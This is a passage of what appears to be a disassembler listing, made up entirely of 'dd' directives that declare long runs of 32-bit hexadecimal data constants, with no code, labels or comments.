		dd 38A1897h, 1BD1C8A5h,	57FBC068h, 0DF9FE80h, 3A311700h
		dd 0DCA080C2h, 0A9E500A5h, 0EB43E622h, 668099C8h, 0C42A5D1Bh
		dd 174DDA00h, 430FA4F8h, 0E0FA0715h, 911A0080h,	4712D7ACh
		dd 139882h, 40FF7980h, 223033CEh, 0B845553Ch, 73C38757h
		dd 66F002AEh, 0FDAA32h,	3EE4049Ch, 8975E6C6h, 0EF5B5600h
		dd 0E8B30DD4h, 407E0947h, 1880D957h, 15BB6D25h,	0ED0F9300h
		dd 638769Fh, 0A0394816h, 0CC12703h, 58C62072h, 0BB77B600h
		dd 0D195CD7Ah, 4A992408h, 179B0068h, 56C719FAh,	403F2800h
		dd 5A4ED8C1h, 0EA440086h, 55A2C9ACh, 0CB009548h, 663FDAC2h
		dd 5C477670h, 0A4133408h, 11C80059h, 26504B63h,	72A9E93Ch
		dd 10A1A80Fh, 0EB21A0FFh, 9E3599h, 4F20FE47h, 0CDC30507h
		dd 55122D03h, 8063F9F0h, 231327Fh, 0B981B671h, 0D4400A7Ah
		dd 0CC708C4Ch, 1058D430h, 729F437h, 1CE2CA90h, 6E408061h
		dd 28004A17h, 965FD64Ch, 0EBEE8F3h, 0C2A20EEAh,	1603A940h
		dd 2E00F680h, 5F6CD7CCh, 61ED27h, 0AFDCC8C7h, 0B8B0546Fh
		dd 2E98D0A0h, 0E6F29B0Bh, 955380C3h, 54E0CAh, 85B2BC97h
		dd 626D4309h, 0C9ABA903h, 9807CFB4h, 1DC718B8h,	4093E6BBh
		dd 0E7C1D3EDh, 9CFA2281h, 0AEEBD700h, 72C5BC8Fh, 0CED1A109h
		dd 0C74E8h, 0A923ABA2h,	0DE2F6E95h, 62B2280Bh, 0B30C201Ah
		dd 8E0DEBh, 8B41487Eh, 0B0866C32h, 0F90005ECh, 3E400AF2h
		dd 0F3E59B39h, 2E729DECh, 0EAB379h, 1A777FBDh, 2A0032ECh
		dd 0E2D8B103h, 7576253h, 0C33A1F79h, 8C16F086h,	0FA0FFC56h
		dd 0C0D5209Fh, 0BB948475h, 586017E4h, 1428814Ch, 8DFBE42Bh
		dd 0C9BE0E00h, 3BAC106Fh, 0F8B8A7h, 955589B7h, 327E7B27h
		dd 0A800B5E2h, 24E8064Dh, 488E3D20h, 0E31F505Eh, 2358C153h
		dd 30CBC28Ch, 2F0054E0h, 0FD3395F2h, 0F11D6Ah, 7EEFF969h
		dd 0FEDEEDDCh, 0B8769C00h, 0C2CCC7A8h, 0F483C12h, 0A4FB2483h
		dd 0C0F4677Dh, 409A98A8h, 6BC5EE1Fh, 25CCB9CBh,	1CD19FA0h
		dd 0F63060FDh, 5D230414h, 0E051886Ah, 32005274h, 0AF59C22Eh
		dd 607C5B16h, 1B10D8DCh
		dd 0CB00C49Ch, 0B85E6FD8h, 0B8F4C506h, 0B04E75E2h, 0CA9C00E6h
		dd 0AAE3D0CDh, 0F300E593h, 343C6A8Ch, 24E4C8h, 2DC103Eh
		dd 0A79C9A5Ah, 0DF774107h, 6ED03468h, 0D15C82h,	0E0F036F1h
		dd 0F4AFAEC3h, 0C79AA200h, 7FE35E42h, 0B058E6CCh, 81D80068h
		dd 0A0C1AFB6h, 250086F2h, 0CD783867h, 3E7AF1h, 42A5998Ch
		dd 6BEE056h, 0F5CE1900h, 2601032Eh, 7FC300BBh, 0BC6DCC68h
		dd 2D0110A2h, 8599AE7Dh, 0B0F4BA78h, 0D4B0B2h, 1497271h
		dd 2030F6E0h, 6B8C1800h, 5A8339A2h, 0FCD3546Ah,	5FAC09ADh
		dd 54C83AB1h, 0D7005B4Bh, 8E29933Ch, 58BFCA97h,	0AD0044F8h
		dd 352DDADCh, 5700DEBBh, 2BB871ECh, 0A993A3h, 4E3D1468h
		dd 3C6C4009h, 809DD038h, 5DA4A297h, 14818D8h, 0CA3D05B4h
		dd 0DC14784Ah, 5BFCB20Fh, 843E2F1Fh, 0A9741DC0h, 94D151h
		dd 6E91C708h, 2D3323BBh, 0D6895800h, 48B3F214h,	0F0A092D3h
		dd 61C9F852h, 0C0AD3095h, 35498003h, 1844A91Bh,	0A851D67h
		dd 40DC1239h, 0D537CECCh, 5C00F17Bh, 629D02E3h,	0B03DE4C1h
		dd 45F8003Ch, 4F8035DCh, 2F1E47CEh, 6C4FB015h, 0E7ACEEC6h
		dd 22D0BCE5h, 55C2D96h,	0FB169E94h, 0A019C05Ah,	0FAFEF524h
		dd 0CF000C7Eh, 0FCAEEED4h, 39E1D521h, 8206F310h, 39483C61h
		dd 24E9725h, 910FDA80h,	89D5410h, 7E92ECh, 3B715120h, 1A00EB9Dh
		dd 0D05C4E31h, 7F645B4Ah, 3CD00A8h, 0E620EE1Eh,	29381B0Eh
		dd 970D0030h, 0F454C586h, 0BD33C09h, 5DD4BE00h,	0F32420A6h
		dd 0FBDDA30Ch, 2B88863h, 2DCF9F8Fh, 0CCC0BB5Dh,	2E1DB0DCh
		dd 0E165C24h, 2DF51C40h, 0CED91C3Eh, 3CEB1820h,	7F242448h
		dd 89665400h, 40824B6Dh, 0A74D002Ah, 0F22D08DEh, 5C3971D9h
		dd 65316EE4h, 0CC42DBD1h, 403BC18Fh, 32EFE14h, 662508E2h
		dd 0F2D8289Fh, 0A21FD8E4h, 0C300D326h, 71DF0482h, 2A6D3D9Ch
		dd 7EB58B85h, 0E19C8069h, 423F986Fh, 0B91A07A4h, 597030ADh
		dd 49F91DE3h, 460604F6h, 8905D314h, 0AB044AF1h,	2E9BB580h
		dd 3A00FF7Eh, 34F63858h, 0C57C2Ah, 0B676882Fh, 0F8978378h
		dd 6B2EE007h, 718745F0h, 7E2C804Fh, 0F2D3DFAh, 5779F974h
		dd 6F80EC89h, 3009F544h, 3C3F0AF4h, 7FE0358h, 0D8EC8BA4h
		dd 0B840922Ah, 0FFF85Fh, 0E7471BD9h, 3962D3Bh, 6BF80B0Fh
		dd 58422561h, 24AD5C28h, 1C80275h, 8AC0EA7Fh, 0BB73D425h
		dd 0EF69E900h, 0F1B6585h, 1C0701ACh, 0CA70FA03h, 0DF2988CFh
		dd 9A9B84BCh, 42530817h, 0DB249108h, 119CC121h,	8711212Fh
		dd 93541794h, 0FB44C948h, 44F4B623h, 47449263h,	8E15C91h
		dd 4F90EBF7h, 4896B284h, 9D0D42E3h, 2294CB22h, 0BF248CCFh
		dd 1290FE21h, 422611B7h, 0D610CB28h, 85389E4h, 1843209Eh
		dd 0E711A742h, 0F13F30E8h, 26E6001h, 90FAB04h, 7E046DDh
		dd 61006583h, 0F0342155h, 7DC7B7h, 626084BCh, 97BD6E8Ch
		dd 0A90CEF00h, 4477B936h, 599F0043h, 0BE3AB7B6h, 4F005BC0h
		dd 91DBCC71h, 45B19Dh, 6583E18h, 0A692AEE3h, 2CFE7500h
		dd 4D57A440h, 0ADAF3C38h, 7FC61B00h, 0FD7B1962h, 87823206h
		dd 103DBCh, 8D2DA60Ah, 175443EDh, 623E1100h, 0E74648BBh
		dd 3A7436h, 4F33A0F1h, 0BAFC0A40h, 0C8CF5Dh, 98124DE1h
		dd 2EB47982h, 115772h, 0DF303585h, 0E60F71A4h, 0AF5CE7h
		dd 96EB29ADh, 0D50900C5h, 0EAD3DB0Eh, 82183A97h, 328C64Dh
		dd 0B69C0032h, 133FBE75h, 0CC009BAFh, 470D61ABh, 32B47Dh
		dd 0E786157Fh, 0D46D99C1h, 80F849h, 4AD8100Fh, 477134h
		dd 0B9E74113h, 6433A17Dh, 744BCD1Ch, 3C4F8540h,	0FC286B6h
		dd 91380129h, 2C7DA4E0h, 57095CBh, 9F24200h, 5512A2A1h
		dd 0A674F9h, 0F13A4E79h, 1B0324D7h, 94C15401h, 0BEB0C70h
		dd 0E2F8A0EFh, 0A223A7Eh, 0CB13A08Bh, 4AB75300h, 0DA00E11Dh
		dd 5130C287h, 0FF6E1Fh,	14540840h, 0B0353334h, 0F367613Ch
		dd 0E20EB970h, 0A81224Ch, 5C0EF17Ch, 0F4FEE06Fh, 0F8CAE1Ch
		dd 0B0972164h, 72139D00h, 28003338h, 692559E6h,	0AFA047h
		dd 0F43B1A2Ch, 61C66F34h, 94A00FF4h, 8D000863h,	0B6289CF8h
		dd 7D68792h, 0E95C60D3h, 4713D00Ah, 0E303569h, 9597CEF9h
		dd 0CAA70E8Ch, 36A0B7F7h, 0A49D2BD3h, 3E413C00h, 1D3459B0h
		dd 0A3D70027h, 90D556DFh, 0FD731712h, 0D4CCCF00h, 0F695B93Eh
		dd 385301F8h, 4B11EE1Fh, 67C8404Ch, 3D015A21h, 0D2D39FA1h
		dd 0FD3836Fh, 0AEBA05Eh, 0C147126Fh, 869680E5h,	0D6F2F480h
		dd 609E10CFh, 0E88A0936h, 8C4486Dh, 22B32E11h, 757100D9h
		dd 0D6732334h, 1C009195h, 0E7B0818Bh, 1F27DD6Fh, 776E0Fh
		dd 8DC3AA38h, 0F10034ECh, 5256AC5Ch, 7687F59h, 5DAEE242h
		dd 0FFF405Fh, 98242E01h, 0E021DE3h, 8046FC80h, 7303EFD4h
		dd 309C0175h, 19A3E409h, 342713Dh, 38F8AFD4h, 0A8002F4Fh
		dd 0D8D3F214h, 0F8A5BAE0h, 0C082035Bh, 44FB679Ah, 370FF690h
		dd 58699909h, 3BE880FCh, 163175h, 880E3CE4h, 0E9FB9B8Ah
		dd 0CA08F600h, 642ACB2Eh, 19780006h, 0B5525566h, 0BA0F3EEDh
		dd 403815D8h, 0FD54A3ECh, 1E7D0016h, 79C97119h,	0AB70F8DBh
		dd 93075C00h, 0B1F58E31h, 0A5D93F8Fh, 0A0D836A8h, 12D8E0h
		dd 5E50A9B6h, 0A739C246h, 0DF0A9300h, 0AD035641h, 0C7023826h
		dd 0C54D2203h, 4A8693Ah, 0F73C61C4h, 0CF48809Fh, 0FCECDE75h
		dd 2A570AFFh, 9C1F7Eh, 6D53B6C9h, 26005E10h, 4576D8D4h
		dd 2AE98BAh, 51E4E83Eh,	5860B377h, 3C00465Ch, 0A566BEA6h
		dd 0F27386C9h, 56500493h, 90B46FEEh, 60799C00h,	376CC31Fh
		dd 85949740h, 2167B4Ah,	9CADF895h, 7FF2188h, 0B0E0F190h
		dd 38723D3h, 4A4E969Bh,	15E0BF55h, 81C917Ah, 0B7C0EAFDh
		dd 59CF6FD4h, 6C031C4Ch, 5E731D0Eh, 0D3910006h,	0FA7A5669h
		dd 0FED92800h, 0D731152Dh, 5E8702C2h, 0A91D0180h, 108B4740h
		dd 7399F700h, 1EAB24C7h, 0BDB90E22h, 7F40F67Dh,	0A0D88DCAh
		dd 0E4FF9801h, 56FAEA3Dh, 0F783D880h, 953C58EDh, 25711600h
		dd 0FC4233B6h, 0EA7D49h, 15C8A2B3h, 0C0DE592Eh,	0EC36390Fh
		dd 2917CEC7h, 88BB002Bh, 45CC33Dh, 0FAD19E21h, 77E08027h
		dd 0F0A8BF80h, 7A3EF631h, 8B1E8374h, 89BEDFDEh,	0CC205248h
		dd 3D5D15BCh, 92E0B099h, 9E26A6E0h, 6401ECBCh, 0CA2984B1h
		dd 51DC20h, 96379DCh, 0D2919815h, 64109000h, 3A28C81h
		dd 2B7700D6h, 71BA40BBh, 0FA00E313h, 5F8B1AF1h,	1897FEh
		dd 0F3CF674h, 0EF30965h, 6FD87600h, 0C1E188C8h,	0EF810B77h
		dd 9E0023E4h, 675573DBh, 87BDED03h, 0F04C528h, 5D62E006h
		dd 9CC46EC0h, 2E008D59h, 0BDAA3582h, 1717BEFBh,	0E3399C0h
		dd 5A0BCB4h, 0E1E7834Ch, 7D08500h, 1BFD2B78h, 0EC09002Dh
		dd 372F8FE9h, 9812DA49h, 0D830D41Ah, 20810D41h,	0F2059C4Fh
		dd 0B202821Eh, 9777E880h, 900D0133h, 0BC93059Dh, 0F3F2DCCCh
		dd 0D0A98A17h, 0B0B7EC00h, 2FDF42h, 4001A5F6h, 75E1DA55h
		dd 4DBF2A03h, 0FB738095h, 9DCCD84Bh, 2D49031Eh,	61431ACh
		dd 0B4E0E580h, 0E776900h, 0BBD69094h, 130C753Eh, 23E80B34h
		dd 0EE003394h, 0B6272B8Eh, 18F573Bh, 0E04DCB23h, 749145AAh
		dd 4F731F34h, 0BCCF780Ah, 0F118F0DCh, 0C0EE2CA0h, 32CDDE30h
		dd 4900B2F9h, 4B03840Dh, 26FAE048h, 0B3BBFFh, 43723DD3h
		dd 60F098D2h, 41858D01h, 0DA0DC635h, 20903C30h,	0C7E8FAACh
		dd 0E6A19B00h
		dd 0A6B3BF19h, 0AAF63Dh, 74D12AC6h, 9B98B7FFh, 3F80601h
		dd 2E14ACCh, 381715FCh,	0C300FB96h, 4EA494D1h, 2C5C1952h
		dd 8892006Eh, 974D416h,	3789A81h, 26F6A61Ah, 0FE88691Fh
		dd 0A1002B66h, 0F3A2D45Ch, 5E06Bh, 126EDB45h, 9713ADD8h
		dd 10D3E130h, 7FCD84h, 0DF2E1602h, 6C475653h, 0F9B07400h
		dd 0ECB7B0Fh, 0DDC000D6h, 1E91ADB2h, 6506DF27h,	7F66C416h
		dd 353009E2h, 9D01B4F2h, 0C54342B3h, 0E619E404h, 0C64EE306h
		dd 3820BEh, 505B9481h, 65608283h, 0E400F970h, 18447639h
		dd 70D28C5Ah, 1CB0FCh, 35BC167h, 6437A8C0h, 57886B07h
		dd 0E3E051C3h, 3BF6B77Ah, 748034B0h, 59306962h,	0E500B25Ch
		dd 42FC236Ch, 128FF91h,	31EACA58h, 1FEA5C5h, 6EC8C78Ch
		dd 160C924Fh, 387BFDEh,	44123D18h, 323863E8h, 351A3318h
		dd 7343D518h, 5F954893h, 0E3FA7700h, 0C6267C47h, 51CE0909h
		dd 2EB80E39h, 4C00FD7Ah, 187D6CADh, 2201024Eh, 0C1B50205h
		dd 0F3921960h, 64B11F00h, 0C3F680C0h, 4D79001Dh, 99558E6Dh
		dd 0E3011757h, 0C8D6BA81h, 0B820AC1Ah, 0FF5F00AFh, 0BD89E91h
		dd 0F1EAC47Eh, 5C09B77Fh, 0D94A2Ah, 0DAE40D68h,	505E2E3h
		dd 0ECC61851h, 0FFA84164h, 0D84946B9h, 0AC024280h, 0DEDE30Eh
		dd 3BCCC4AAh, 77A82Eh, 15235A4Ch, 7DB072E1h, 0F41B951Eh
		dd 40E8B887h, 39BFD290h, 0FD2D28DDh, 90B400A8h,	838F9A14h
		dd 361E4AC3h, 0F1807728h, 74AECB7Ch, 146890F8h,	0A86EFA87h
		dd 5ED37D01h, 0FDB74252h, 0F05ECB8h, 0FA91D13Dh, 51A93A00h
		dd 690C8010h, 905C02C6h, 1D252F71h, 0C3650A60h,	91585604h
		dd 80F44D77h, 0BA227E7Ch, 0CB98D4h, 670911C6h, 0CB97EDFDh
		dd 0BA3BB300h, 76412985h, 384B6014h, 0E71B5C7Ch, 0A63E7807h
		dd 2C30978Ah, 9A0E433h,	9E6AFEB9h, 0D97B6502h, 6B59060h
		dd 0E10057ECh, 3B07EC53h, 3B3549C4h, 300EABB9h,	805E500Bh
		dd 0AA8B7246h, 0BC0A6081h, 0F005DA5Ch, 10126C13h, 3303A900h
		dd 0FB11A28h, 4EC04D32h, 0F87D41A0h, 7019438Bh,	1210AB95h
		dd 32017C0h, 0D1A9F52Ah, 0D0FF1990h, 0C3ABB2BDh, 3BF99100h
		dd 7437DA92h, 0C71877EDh, 91AA6538h, 0C4E03847h, 0EB00A569h
		dd 786F9F0Fh, 0C65EA93Dh, 0CE5BC829h, 0B9CBE00h, 40D84AE9h
		dd 0A2180078h, 3346DD10h, 3B008FCCh, 8051D35Dh,	50965C72h
		dd 4AECA021h, 0CF804490h, 760F008Eh, 456C3Bh, 0C5577856h
		dd 0BBC4FBC6h, 0C1014971h, 3EF5D312h, 0A02C93B7h, 4B2DB500h
		dd 3F8BE6D1h, 80F4F239h, 2A6ECCD7h, 143AE8C5h, 0C40F25ACh
		dd 0A44CD300h, 28033440h, 1B723C12h, 73749300h,	0EA939D1h
		dd 705758FAh, 5D5C7C0h,	4F002BA6h, 0B709307Ah, 610A950h
		dd 88404228h, 67003032h, 236F05E5h, 0BC644BAh, 0AEB6E199h
		dd 3D5CE50Eh, 0E6837D00h, 92E0A360h, 6B0016B0h,	850B4D0Ah
		dd 2EF35CFCh, 51F8B2h, 0A75D6D93h, 0D507090Dh, 0D04FA43Ch
		dd 0FE244700h, 86D8021Bh, 76EB3140h, 0F8B133C0h, 910FE876h
		dd 819F548Ch, 0DF31B8B6h, 5F92C4h, 0C7496037h, 0A50416Ah
		dd 7178360Bh, 8EBD07BEh, 267EA820h, 59FCB8h, 3E76DC1Bh
		dd 0E24F7065h, 2BD5B609h, 0DC5036h, 1D0B8E57h, 54A98072h
		dd 0AE225207h, 6200BF31h, 0F6B75C67h, 962C1F70h, 42EDC1D9h
		dd 40408F79h, 4718E3EAh, 2600A898h, 8B9D9B51h, 0C742DBh
		dd 0CA9BB44h, 58642D21h, 0B171FE63h, 3A6740Eh, 2F822A45h
		dd 48E05D1Fh, 720087C4h, 8F636C18h, 12CEDBh, 5340E341h
		dd 84B403BBh, 93072B00h, 0F0ABB5E8h, 0D66B0779h, 92562695h
		dd 0D4E89855h, 0EE401052h, 50CE0B6h, 21CED0F7h,	652CA06Fh
		dd 0BE055091h, 0DCC02F7Bh, 15445CFh, 0AB465C19h, 38BB9C18h
		dd 0E64858h, 44F4F12Dh,	0D1C7ECh, 556BDF83h, 0A79EFC0Ah
		dd 0FD00209Eh, 344D1357h, 3D389837h, 0D2C5887h,	98948228h
		dd 0F84172DBh, 7D7C399Ch, 4C296E01h, 2CF5BC47h,	0C32E7080h
		dd 0E5B6EFE0h, 2D4C24Ch, 1B226027h, 95858A7h, 31987747h
		dd 0E660488Fh, 0AEEAC02h, 5534A01h, 0AA404159h,	0F44C6C30h
		dd 0E7E10E81h, 0C0D3C177h, 0D966A434h, 82365302h, 0A0849729h
		dd 0C590098Ch, 816D18D8h, 0F32EB844h, 0F2FA7B0Ch, 921108h
		dd 48E70235h, 149058Fh,	0A2C8E1C7h, 0F411CAAFh,	9493DA86h
		dd 99AD0059h, 0BD9E5398h, 0DC9C0D71h, 0F7883100h, 391207Eh
		dd 0BC763FDAh, 5BF06901h, 0FC0089E2h, 48D441A1h, 18B7810h
		dd 0B88D7D0Ah, 30337912h, 0DB00A45Ch, 5A9B8274h, 2A32516h
		dd 0A092BE27h, 0A5406C5Eh, 0B000FD8Dh, 0B11188E5h, 797709h
		dd 6740314h, 67E65991h,	0F905C8E8h, 6FF432B5h, 4D6A1C90h
		dd 0A509001Eh, 60B1CCC6h, 0A9246941h, 80003879h, 40D91B28h
		dd 0D055002Ch, 0D40E7C5Eh, 0AC7359B5h, 3B152000h, 962882B8h
		dd 0A4A91EAEh, 5A2285E9h, 0FC904B69h, 2E811780h, 0C004DE4h
		dd 0A657D70Dh, 87C68Fh,	0FD1078A8h, 994B74D8h, 68296500h
		dd 3BEE1AC1h, 958EC5Bh,	76C6CD9Ah, 0AD73C800h, 3400B381h
		dd 0EAC28052h, 748D9Bh,	0E8437BABh, 368CC529h, 2CC1AA00h
		dd 99954DF9h, 0F80D58A1h, 25CFC700h, 47B6E539h,	0DC119300h
		dd 98F28BC1h, 0A851282Ah, 0ACCB4DDh, 28B091FAh,	0EC220969h
		dd 9B00509Ch, 82E25FE8h, 4C73BD0Fh, 0A3386414h,	78B48480h
		dd 54B0FFh, 94A50860h, 9A185BB8h, 0A2A30F02h, 44582EE5h
		dd 5C8F0014h, 0EA544230h, 19006D15h, 0DC23A2C1h, 60EDB97Ah
		dd 883B6C4Fh, 0F490F743h, 5601CA03h, 6F9F899h, 53AA4B10h
		dd 0D93EC831h, 0CAD2EDAh, 1BF5803Ah, 0A2EA307Ch, 0AB661294h
		dd 0E004D04Eh, 9A1CF914h, 3E2BDAh, 34DD3D22h, 4A2510h
		dd 0D2EF327Ah, 0EE963B52h, 73B4FB1Ch, 0C99C11C0h, 940672h
		dd 0CB644DF8h, 15E23CCAh, 0A31DDB00h, 0DD4ED3Bh, 10670051h
		dd 0BE80A6ABh, 0CC4CB8F8h, 149A00FCh, 25B4C701h, 318F0361h
		dd 0F79F3708h, 160ADFB0h, 8E42CC3Fh, 43A71439h,	0A85ACAB8h
		dd 7A9303Ch, 4A6DE66h, 8F47C0F9h, 89000998h, 60B2F045h
		dd 8ED858h, 0C802E4DFh,	6E646C7Eh, 0EEF22400h, 18335941h
		dd 451500CAh, 0D1FE05F8h, 0E3036952h, 0A48E153h, 0F4BA989Fh
		dd 56EEA5h, 3E8BC92Eh, 4F63CE3Bh, 0A48159DDh, 58931CB1h
		dd 89A870h, 0DD5E554Ch,	7B30FD12h, 0E1B40700h, 7F812559h
		dd 17F8033Fh, 312E13D4h, 42F28016h, 893A4A0Fh, 99D90CDAh
		dd 4BA90049h, 5EA21FAEh, 7B07FC54h, 1A97BD2Ah, 0C8F56BE1h
		dd 0D99BCCh, 4A45C447h,	31750EFBh, 0E51E7C01h, 896BBD21h
		dd 15DFF0h, 33D5597Ah, 9936F85Ch, 7FB56A16h, 4BA44040h
		dd 0BD747Bh, 0B991CD52h, 0D744CEA0h, 72CA6501h,	36E304B1h
		dd 7C600EF1h, 0F14339E6h, 5CF21Ch, 0C2AC0333h, 9A0035DBh
		dd 0A550BEF4h, 0FB2E6Ch, 6EE1CF5Dh, 0A8D4C3Eh, 9001E7Ch
		dd 1AB25AB5h, 5FD36Dh, 28699BEFh, 2F1790E1h, 0AD7DD600h
		dd 9802519Eh, 75D8070Fh, 0CBE37766h, 0AAFAFC40h, 6EB10D00h
		dd 9C9F3071h, 0E1DA0A99h, 1A7F4A0h, 0C8BA7679h,	0AE318721h
		dd 85539D8Dh, 0FF9A80E9h, 4240064h, 95D11732h, 0B60089E1h
		dd 6D1F4E33h, 2C4658Fh,	0BA6BBF0Eh, 904031D3h, 1B000252h
		dd 83A6FE35h, 0B48F83Ch, 9B09C30Bh, 4DC08023h, 57C01993h
		dd 3360781Ch, 632FFF38h, 931400A3h, 39AD5CFEh, 5200497Ah
		dd 119C906Bh, 0F6F6423h
		dd 932B85B1h, 0DD7C0E53h, 0AF562960h, 4F26435Dh, 1783CC91h
		dd 0F01F0A1Ah, 9A9FFD1Dh, 4CF405C8h, 905A5BF3h,	0DA9B4E60h
		dd 4B0049B8h, 780E6122h, 0FD9EF7Ch, 318CCF33h, 579C40F3h
		dd 0A521B2D8h, 2F511CFh, 87F45508h, 24E05240h, 967D068Dh
		dd 51440FFCh, 73A070EFh, 0E4813A6Eh, 27BAE00h, 0D23B2F4Dh
		dd 79560016h, 5B583F55h, 0DD05DC61h, 24EA4732h,	63D67080h
		dd 3C9AF3h, 1CEE3FC9h, 1AB988A8h, 5683000h, 1B5AC236h
		dd 29FD6191h, 60A43273h, 500EA822h, 41B6C4A6h, 0C80552ECh
		dd 3C0C72C8h, 2C001A0Ah, 926BCBEh, 0C2009949h, 2DE47E97h
		dd 79A12108h, 79B0B10h,	40588C91h, 7BC8F812h, 5DCE1C40h
		dd 7177B62Fh, 8E2E3864h, 0D72A4B80h, 6BA46EACh,	0E5F5E800h
		dd 66B223A0h, 5DCF0193h, 3F733780h, 9F81701Fh, 0BE36C00Fh
		dd 0D0D3A002h, 3724524h, 22E217E4h, 6790AF34h, 0FD5AB9CEh
		dd 0F37788C0h, 0D0AC00F9h, 19451291h, 66703FB2h, 31565500h
		dd 0DB84A3E6h, 0DA250043h, 0F82A5D9Ch, 0B023EF3h, 68502713h
		dd 7E45044h, 0FD75921Dh, 6BA25F9Dh, 9CE1037Ch, 0F938A0C7h
		dd 360CF58h, 9B83C5B3h,	19F804ECh, 90C11159h, 0EF303828h
		dd 0D15D5F00h, 0A046C96Dh, 0FAEAADh, 3C0FD961h,	6693EC65h
		dd 0AFF98300h, 0E4AC2612h, 81010013h, 5F0631F4h, 0E30239C2h
		dd 80553F97h, 0D57EC038h, 0ECEE075Dh, 80616BB4h, 0BD448D9Ah
		dd 0CB936E00h, 97A3207Fh, 21998F2h, 99DEB0D2h, 0D48191EFh
		dd 0E8221C48h, 8D013B90h, 645C8C29h, 402AA94Eh,	8076ABCCh
		dd 45007D03h, 27CAC635h, 0F643CD01h, 8EB9125Dh,	1E0CA02Bh
		dd 0EEE7200h, 0A35BC0E4h, 9B5A33h, 9173B1DCh, 8E0412F7h
		dd 8129DFC9h, 896420C1h, 501D7181h, 207139D6h, 0B3B3A0Ch
		dd 0DE920B18h, 0A2CC21E7h, 5F00FAB6h, 3E000FB3h, 97964972h
		dd 98E1E5h, 5AFAB5E7h, 0A39A65D8h, 9343DD0Eh, 6037CF27h
		dd 3817118Dh, 0C8B600C7h, 0D2BEE797h, 0D00AF74h, 501B1C63h
		dd 48B29D8Fh, 371CEE67h, 7F6B40C6h, 40795E2h, 0F19E3D01h
		dd 0D37742B8h, 0F834C843h, 3CEC78CBh, 0B50528A0h, 1F96432Fh
		dd 0BEE980ACh, 995ED9D4h, 80A8F100h, 73D512F0h,	643101D8h
		dd 0AF5702BFh, 92FD20E3h, 0EDB38600h, 0D89C5F89h, 0F8EB0353h
		dd 6B4F74A7h, 0E071DAF0h, 0CC3FACA1h, 110F94AFh, 0E189C3A6h
		dd 9B4357C6h, 21A3424h,	8A80ED4Ah, 0F44830A5h, 8E0060BFh
		dd 286C4C9Fh, 0C05C24F8h, 0C07CDA8Ch, 4F0283A2h, 846FC4EEh
		dd 190340D9h, 1DAE077Bh, 0F0A50CE8h, 3EBED44h, 0D2D6C209h
		dd 12CC80A0h, 192E1Fh, 2BADF394h, 61B8A2FDh, 0F00050FEh
		dd 3338960Fh, 14343E5Dh, 0FC086574h, 0CC880776h, 0E0C79311h
		dd 96AEEF91h, 7071F4B2h, 7601497Eh, 0F2A0CEE1h,	0C3F47C71h
		dd 4DC20DC8h, 4018E4E9h, 0E7338A5Ch, 4E113E00h,	0EF102168h
		dd 7B1C004Fh, 29C9B6FDh, 0A0004BAAh, 0C13D5ADFh, 0A807D9h
		dd 0D1E4D321h, 3756E95Fh, 0A2B8A303h, 0ED036D99h, 601A0892h
		dd 65C9D4h, 0A071BE06h,	761D6B81h, 0F75C9A00h, 0A992A5C6h
		dd 134D7F57h, 12ADB175h, 67E40032h, 0A2465889h,	1A00E974h
		dd 0BAC18394h, 0E25671h, 6EEE173Ch, 2FC3A8EAh, 0A1005F77h
		dd 7B576F5Ch, 9BD9DDh, 94BBEC34h, 9D55DACAh, 787CF01h
		dd 918951F8h, 8F27A480h, 0A7229A97h, 0CA7CBB0Ch, 72938D8h
		dd 1619A2EDh, 694A900Ch, 650050C0h, 0A7F19615h,	19C0963h
		dd 689DB880h, 0F44F218Ah, 0AE73E5F6h, 900C3B01h, 117FA3BCh
		dd 377E5460h, 25703376h, 6B78098Eh, 0B90E7C00h,	300E951h
		dd 0E109625Ch, 0D84782h, 0EDDECACFh, 8052D2ADh,	6388FCF3h
		dd 90B83F7Dh, 0E4057772h, 7102E05Ch, 951125C0h,	0DC960048h
		dd 4DCD3351h, 0D9091201h, 0F60D53A4h, 86F400C8h, 51C7628Ah
		dd 20CEF100h, 82A44C22h, 9FAE001Ch, 0E92FCBB0h,	509298FDh
		dd 3D706F00h, 140C5B54h, 0BB35007Eh, 7755D9B4h,	833F40DBh
		dd 0E71B00A8h, 0B0F6BA2Dh, 7C10975Fh, 0D490C469h, 3228909h
		dd 9B50E0EEh, 0D7AC0924h, 805D84BFh, 5DEA57C0h,	0F04A01FBh
		dd 977FCE0Dh, 2A98408Fh, 3400B5FEh, 2E44AAF4h, 0B46FDBh
		dd 47FF2356h, 794E1335h, 7B48D700h, 99970EC5h, 0F58D0092h
		dd 8C44E3F4h, 0CD00934Fh, 0F33FAAB5h, 817DB9h, 0C7BCE9Dh
		dd 0DBCFF0A2h, 0BE1E6BB0h, 7AC13733h, 0CE4E7639h, 0FB8DC8h
		dd 0D0674668h, 8304BB7Dh, 8890414Ah, 3830EFh, 2C4CBE4Ah
		dd 0F746923Eh, 405B5C9Ah, 8513C040h, 3202D1h, 87A1F59Ch
		dd 0AE7DA5C1h, 0DB3B8BE2h, 0FE2D0036h, 0E5195A72h, 0F5B8002Bh
		dd 0C36397B1h, 1604ED8Dh, 0E715067Ah, 2B8B5CC0h, 330D0083h
		dd 9472AC93h, 9600A5FCh, 812FA80Ah, 98B75057h, 23051FB1h
		dd 0BE9440D4h, 461829EFh, 95A07EE1h, 0E7FCF4h, 0AEDDEDC8h
		dd 0C0C6B0CBh, 0B9F6EE0Ch, 1CB5907Fh, 8046761Ch, 0FD37435h
		dd 84B0E464h, 24E2E000h, 79854D63h, 2C3700D8h, 0FAAB334Fh
		dd 8C008DE6h, 0AE407A6h, 750308h, 3CFD3673h, 7FFE14CDh
		dd 0BFC3410Ch, 72883035h, 0EE1A00C7h, 1549EF22h, 0E800C89Ch
		dd 834DEB6Ah, 13FC34F8h, 0E13E8225h, 0A16440F8h, 5C4C9664h
		dd 7A020149h, 1D69DE74h, 36BC806Bh, 0EC3F94ACh,	79162CEDh
		dd 53BA000h, 24F5B03h, 717FAAB8h, 6E6088BEh, 6400365Dh
		dd 77E3276Bh, 4D235F9Bh, 9101F847h, 8168ED24h, 3F5F81Ah
		dd 0CB509000h, 85678A0h, 759500D1h, 927332D0h, 0AC5C1FF2h
		dd 40D9072Ah, 8290BD79h, 0FD496h, 0EBB848F6h, 0DEC7CEFFh
		dd 0C97B20C3h, 78C19401h, 80CBC18Ah, 93477B1h, 0C6851C5Eh
		dd 0ACD4F480h, 1B16D2DEh, 0C4C00DCDh, 79F07DF1h, 356F1D83h
		dd 0BC1982B4h, 38C0448Ah, 76000AC4h, 3F6487FCh,	0F98637Ah
		dd 6EAFFA68h, 0C919B20Ch, 0E62D8E00h, 6634B908h, 0B89996h
